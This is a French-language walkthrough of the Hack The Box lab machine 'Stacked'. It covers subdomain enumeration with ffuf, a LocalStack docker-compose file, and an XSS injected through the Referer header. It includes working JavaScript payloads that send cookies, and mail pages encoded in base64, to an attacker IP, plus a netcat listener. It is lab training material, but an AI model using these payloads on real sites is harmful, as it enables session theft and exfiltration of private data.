HTB Stacked : guide XSS et évasion Docker

Évasion de Conteneur Docker via XSS et RCE sur HTB Stacked

Le scan de l'hôte 10.129.228.28 avec nmap a révélé les ports ouverts : 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) et 2376 (démon Docker avec TLS). Le port 80 héberge le domaine stacked.htb après ajout d'une entrée dans /etc/hosts. La page principale contient un champ email sans trafic réseau visible lors de la soumission.

Le bruteforce de répertoires avec gobuster en utilisant common.txt n'a donné aucun résultat. Le passage à l'énumération d'hôtes virtuels avec ffuf en utilisant subdomains-top1million-5000.txt avec un filtre de mots (-fw 18) a découvert portfolio.stacked.htb.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Analyse de portfolio.stacked.htb et LocalStack

Le site portfolio.stacked.htb décrit Stacked, une entreprise utilisant LocalStack—un émulateur local de services AWS dans des conteneurs Docker. Un fichier docker-compose.yml est disponible avec les ports exposés :

• 443 (HTTPS)
• 4566 (API LocalStack)
• 4571 (probablement Elasticsearch)
• 8080 (Interface Web)

wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

Le bas de la page affiche l'année de création—une piste potentielle pour une exploitation ultérieure.

Découverte et Exploitation de XSS

Le formulaire de soumission de données personnelles sur portfolio.stacked.htb reflète les balises HTML avec le message "xss détecté !". L'injection directe dans le corps de la requête vers /process.php échoue même avec un double encodage URL.

Les tests des en-têtes (User-Agent, Origin, Referer) ont révélé une vulnérabilité dans Referer. La charge utile <script src="http://10.10.16.10/test.js"></script> s'exécute avec succès :

let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

Les cookies sont protégés avec HttpOnly. Le passage à document.location a révélé l'origine : http://mail.stacked.htb/read-mail.php?id=2.

Attaque CSRF via XSS pour Accéder à mail.stacked.htb

Le nouveau sous-domaine mail.stacked.htb redirige les requêtes externes. Via le XSS de la victime, nous implémentons un proxy :

• Injecter <script src="http://10.10.16.10/exploit.js"></script>.
• Le script demande une page interne, l'encode en base64 et l'envoie à l'attaquant:9001.

let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();

nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

La boîte de réception contient un email de Jeremy Taint concernant le lancement d'une instance S3 (id=1). Les CSS/images ne se chargent pas en raison des restrictions réseau.

Points Clés

• Le XSS dans l'en-tête Referer conduit à l'exécution de JS dans le contexte de la victime.
• Le proxy base64 via XMLHttpRequest contourne les restrictions réseau Docker.
• Le docker-compose LocalStack révèle les ports internes et l'architecture.
• L'énumération d'hôtes virtuels est cruciale lorsque le dirbusting échoue.
• Le filtre de mots ffuf (-fw) résout les problèmes de contenu d'erreur dynamique.

— Editorial Team